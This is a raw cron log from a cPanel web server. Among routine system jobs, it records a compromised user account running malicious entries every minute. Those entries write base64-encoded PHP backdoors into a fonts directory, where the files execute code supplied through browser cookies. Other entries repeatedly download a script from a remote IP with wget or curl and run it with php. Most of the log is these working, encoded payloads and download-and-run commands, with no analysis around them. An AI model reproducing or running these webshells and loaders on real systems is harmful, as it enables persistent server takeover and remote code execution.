Sep  7 15:29:01 ip-184-168-122-23 CROND[18863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:29:01 ip-184-168-122-23 CROND[18864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:29:01 ip-184-168-122-23 CROND[18865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:29:01 ip-184-168-122-23 CROND[18866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:30:01 ip-184-168-122-23 CROND[18993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:30:01 ip-184-168-122-23 CROND[18995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:30:01 ip-184-168-122-23 CROND[18998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:30:01 ip-184-168-122-23 CROND[19000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:30:01 ip-184-168-122-23 CROND[19001]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:30:01 ip-184-168-122-23 CROND[19002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:30:01 ip-184-168-122-23 CROND[18999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:30:01 ip-184-168-122-23 CROND[19003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:31:01 ip-184-168-122-23 CROND[19114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:31:01 ip-184-168-122-23 CROND[19113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:31:01 ip-184-168-122-23 CROND[19115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:31:01 ip-184-168-122-23 CROND[19116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:31:01 ip-184-168-122-23 CROND[19117]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 15:32:01 ip-184-168-122-23 CROND[19211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:32:01 ip-184-168-122-23 CROND[19213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:32:01 ip-184-168-122-23 CROND[19215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:32:01 ip-184-168-122-23 CROND[19214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:32:01 ip-184-168-122-23 CROND[19212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:33:01 ip-184-168-122-23 CROND[19361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:33:01 ip-184-168-122-23 CROND[19363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:33:01 ip-184-168-122-23 CROND[19364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:33:01 ip-184-168-122-23 CROND[19362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:34:01 ip-184-168-122-23 CROND[19532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:34:01 ip-184-168-122-23 CROND[19534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:34:01 ip-184-168-122-23 CROND[19533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:34:01 ip-184-168-122-23 CROND[19535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:34:01 ip-184-168-122-23 CROND[19536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:35:01 ip-184-168-122-23 CROND[19665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:35:01 ip-184-168-122-23 CROND[19667]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 15:35:01 ip-184-168-122-23 CROND[19670]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 15:35:01 ip-184-168-122-23 CROND[19672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:35:01 ip-184-168-122-23 CROND[19671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:35:01 ip-184-168-122-23 CROND[19669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:35:01 ip-184-168-122-23 CROND[19668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:35:01 ip-184-168-122-23 CROND[19673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:36:02 ip-184-168-122-23 CROND[19771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:36:02 ip-184-168-122-23 CROND[19769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:36:02 ip-184-168-122-23 CROND[19770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:36:02 ip-184-168-122-23 CROND[19772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:36:02 ip-184-168-122-23 CROND[19773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:37:01 ip-184-168-122-23 CROND[19877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:37:01 ip-184-168-122-23 CROND[19879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:37:01 ip-184-168-122-23 CROND[19880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:37:01 ip-184-168-122-23 CROND[19881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:38:01 ip-184-168-122-23 CROND[19976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:38:01 ip-184-168-122-23 CROND[19977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:38:01 ip-184-168-122-23 CROND[19978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:38:01 ip-184-168-122-23 CROND[19979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:38:01 ip-184-168-122-23 CROND[19980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:39:01 ip-184-168-122-23 CROND[20067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:39:01 ip-184-168-122-23 CROND[20070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:39:01 ip-184-168-122-23 CROND[20068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:39:01 ip-184-168-122-23 CROND[20071]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 15:39:01 ip-184-168-122-23 CROND[20072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:40:01 ip-184-168-122-23 CROND[20253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:40:01 ip-184-168-122-23 CROND[20256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:40:01 ip-184-168-122-23 CROND[20255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:40:01 ip-184-168-122-23 CROND[20260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:40:01 ip-184-168-122-23 CROND[20261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:40:01 ip-184-168-122-23 CROND[20258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:40:01 ip-184-168-122-23 CROND[20259]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:40:01 ip-184-168-122-23 CROND[20262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:41:01 ip-184-168-122-23 CROND[20383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
